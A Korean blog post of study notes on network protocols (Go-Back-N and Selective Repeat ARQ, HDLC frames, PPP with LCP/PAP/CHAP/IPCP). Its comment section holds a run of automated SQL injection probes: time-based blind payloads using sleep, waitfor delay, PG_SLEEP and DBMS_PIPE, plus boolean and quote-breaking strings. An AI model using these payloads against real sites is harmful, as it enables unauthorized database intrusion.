[네트워크프로토콜] 흐름제어, 에러제어2
by VICENTE97P4
April 6, 2022, 2:51 p.m.
GBN(Go Back N)은 구현은 용이하나 효율은 SR에 비해 별로입니다.
SR은(Selective Repeat)은 구현이 복잡합니다. 버퍼, 순서맞추기 등을 해줘야 하기 때문이죠.
하지만 성능이 좋다는 trade off가 있습니다.
computing power가 좋아지고 buffer가 싸고, 커지면서 요새는 SR이 대세입니다.
GBN은 재전송 시 window에 있는 frame들을 싹 다 재전송 합니다.
위 그림에서 1번이 송신 중 손실되었습니다.
그런데 송신측은 이를 모르고 2번, 3번을 보냅니다.
수신측은 1번이 와야 하는데 2번, 3번이 오니까 걍 다 버립니다.
송신측에서는 time out이 발생하니 1번부터 재전송합니다.
SR(Selective Repeat) ARQ
error가 생긴 frame만 재전송합니다.
Ssize = 2^m / 2 = 2^(m-1)
송신측
위 그림에서는 sequence number가 4bits인 경우입니다.
그럼 window size가 8bits가 되죠.
수신측
이제는 수신측도 2^(m-1) 크기의 window를 가져야 합니다.
buffer로 들어오는 frame들을 저장해줘야 하기 때문이죠.
그래야 순서가 틀리더라도 전송되지 못한 frame들만 재전송해주면 되니까요.
나중에 순서를 맞춰주는 과정도 필요합니다.
이제는 잘못 왔다는 것을 알리는 NAK도 보내게 됩니다.
송신측은 이 NAK 번호에 해당하는 frame을 다시 보내줘야 합니다.
이제 왜 window size를 2^(m-1)만 사용해야 하는지 알아봅시다.
b는 모든 ACK가 손실되는 worst case입니다.
이 경우 2^(m-1)보다 큰 size를 사용한다고 가정합시다.
그럼 송신측은 ACK가 하나도 안 오니까 어? 0부터 재전송해야겠네?
하면서 0을 재전송합니다.
그런데 수신측 window에는 0이 포함되어 있어서
사실은 번호만 같고 다른 frame을 받아야 하는데 번호가 같으니까,
순서는 틀려도(3번이 와야 하는데 0번이 왔으니까) window 내에 0번이 있어서
순서는 뭐 나중에 맞춰줘야지~ 하면서 중복된 0번 frame을 받는 오류가 생깁니다.
그래서 SR은 2^(m-1) 크기의 window만 사용합니다.
예시
송신측에서 보내는 1번 frame이 손실됐습니다.
그런데 송신측은 그걸 모르고 2번, 3번 frame을 계속 보내죠.
그럼 수신 측에서는 1번 안왔다고 NAK1을 보냅니다. 그리고 온 2번, 3번 frame을 일단 받아놓죠.
그리고 1번이 도착하면 다음 받을 frame인 4번 frame을 보내라고 ACK4를 보냅니다.
그리고 수신측에서도 sliding window가 일어납니다.
piggyback: data를 보낼 때 ACK도 한꺼번에 같이 보내는 것을 의미합니다.
HDLC(High level Data Link control)
bit-oriented protocol입니다.
요즘엔 ABM(Asynchronous balanced mode)를 많이 씁니다.
primary, secondary 모두 가지는 peer 상태입니다.
command와 response 모두 보낼 수 있습니다.
I-frame: 일반적으로 data를 보낼 때 쓰는 frame입니다.
S-frame: 제어 frame입니다.(ACK, NACK)
U-frame: sequence number가 없는 frame입니다.(주로 link 관리용으로 씁니다.)
Header에 address와 control(프로토콜 제어)이 들어갑니다.
FCS에는 CRC가 들어갑니다.
I-frame에는
N(S): 송신번호, N(R): 수신 번호
S-frame과 U-frame은 code로 구분합니다.
P/F는 특수한 상황(emergency)에 씁니다.
위쪽은 link 개설 때, 아래쪽은 link 종료 때 사용됩니다.
piggy-back
양쪽으로 data를 주고받으니 ACK를 붙여서 보냅니다.
data가 있으면 ACK를 같이 실어서 보냅니다.
data가 없으면(마지막 frame 같은 경우) S-frame으로 보냅니다.
여기서 RR이 적혀있는데 receive ready라는 뜻으로 ACK에 해당합니다.
Control 부분이 0으로 시작하면 I-frame, 10은 S-frame입니다.
Control 부분에 첫번째 주황은 송신 번호, 두 번째 주황은 수신 번호를 의미합니다.
두 번째 주황이 2라면 2번 frame을 기다린다는 의미입니다.
초록색 A는 목적지를 의미하고요.
아까는 error가 없는 경우였고, 이제는 error가 있는 경우입니다.
B에서 A로 frame을 보내는데 1번 frame이 손실되었습니다.
A 입장에서 1번 frame이 안왔는데 2번 frame이 오니까 B에 NAK 역할을 하는 S-Frame을 보냅니다.(위에서 4번째 frame)
그러자 B에서 1번과 2번을 모두 재전송합니다.
이를 통해 현재 GBN 방식을 쓰고 있음을 알고 있습니다.
추가적으로 위에서 3번째 패킷에 Control 부분에서 두 번째 주황이 2로 되어있는데 이는 오타입니다.
B는 받은 것이 없기 때문에 2가 아닌 0이 되는게 맞습니다.
PPP(Point - to - Point Protocol)
byte 단위(문자 단위) 전송입니다.
다른 부분은 같고 protocol 부분이 추가됐습니다.
byte 단위이기 때문에 byte stuffing 방식을 씁니다.
protocol에 보면 LCP, AP, NCP가 있습니다.
LCP(Link Control Protocol): 링크 개설 시 사용합니다.
AP(Authentication Protocol): 인증 시 사용합니다. CHAP: 챌린징, PAP: password 방식입니다.
NCP(Network Control Protocol): 네트워크 제어 시 사용합니다. 주로 IP 주소 구성에 사용되며 요새는 IPCP를 주로 씁니다.
LCP Packet
payload에 LCP 패킷이 들어있습니다.
PAP packet
password를 보고 맞으면 ACK 아니면 NAK를 보냅니다.
CHAP
user가 들어오면 system에서 challenge를 보냅니다.
user는 자기의 key 값과 challenge 값을 인증 알고리즘에 넣어서 결과를 response로 보냅니다.
system은 성공여부를 알려줍니다.
IPCP
IP 주소를 구성해줍니다.
PPP frame에 IP datagram 들어간 경우
PPP payload에 IP packet이 들어간 경우입니다.
payload에는 총 NCP, AP, LCP, IP(data) 총 4가지가 들어갈 수 있습니다.
PPP 연결 수립 과정
LCP로 연결을 수립하고, PAP로 인증합니다.
인증이 완료되면 IPCP로 IP를 할당받습니다.
IP를 실어서 실제 data를 전송하고, data 전송이 끝나면 LCP로 연결을 종료합니다.
네트워크프로토콜 26 view 1045
vLgK9lAa
Updated: Feb. 22, 2025, 5:29 p.m.
*1
Updated: Feb. 22, 2025, 5:29 p.m.
*1
Updated: Feb. 22, 2025, 5:29 p.m.
*1
Updated: Feb. 22, 2025, 5:29 p.m.
*1
Updated: Feb. 22, 2025, 5:29 p.m.
-1 OR 2+921-921-1=0+0+0+1
Updated: Feb. 22, 2025, 5:29 p.m.
-1 OR 3+921-921-1=0+0+0+1
Updated: Feb. 22, 2025, 5:29 p.m.
*if(now()=sysdate(),sleep(15),0)
Updated: Feb. 22, 2025, 5:29 p.m.
0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z
Updated: Feb. 22, 2025, 5:29 p.m.
0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z
Updated: Feb. 22, 2025, 5:29 p.m.
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
Updated: Feb. 22, 2025, 5:29 p.m.
-1; waitfor delay '0:0:15' --
Updated: Feb. 22, 2025, 5:29 p.m.
-1); waitfor delay '0:0:15' --
Updated: Feb. 22, 2025, 5:29 p.m.
-1 waitfor delay '0:0:15' --
Updated: Feb. 22, 2025, 5:29 p.m.
xJW6UM7R'; waitfor delay '0:0:15' --
Updated: Feb. 22, 2025, 5:29 p.m.
-1 OR 203=(SELECT 203 FROM PG_SLEEP(15))--
Updated: Feb. 22, 2025, 5:29 p.m.
-1) OR 684=(SELECT 684 FROM PG_SLEEP(15))--
Updated: Feb. 22, 2025, 5:29 p.m.
-1)) OR 671=(SELECT 671 FROM PG_SLEEP(15))--
Updated: Feb. 22, 2025, 5:29 p.m.
F99uhbJz' OR 669=(SELECT 669 FROM PG_SLEEP(15))--
Updated: Feb. 22, 2025, 5:29 p.m.
gxdcIjRb') OR 711=(SELECT 711 FROM PG_SLEEP(15))--
Updated: Feb. 22, 2025, 5:29 p.m.
EJ1TWtxb')) OR 163=(SELECT 163 FROM PG_SLEEP(15))--
Updated: Feb. 22, 2025, 5:29 p.m.
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
Updated: Feb. 22, 2025, 5:29 p.m.
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
Updated: Feb. 22, 2025, 5:29 p.m.
'"
Updated: Feb. 22, 2025, 5:29 p.m.
����%2527%2522\'\"
Updated: Feb. 22, 2025, 5:29 p.m.
@@F7IRF
Updated: Feb. 22, 2025, 5:29 p.m.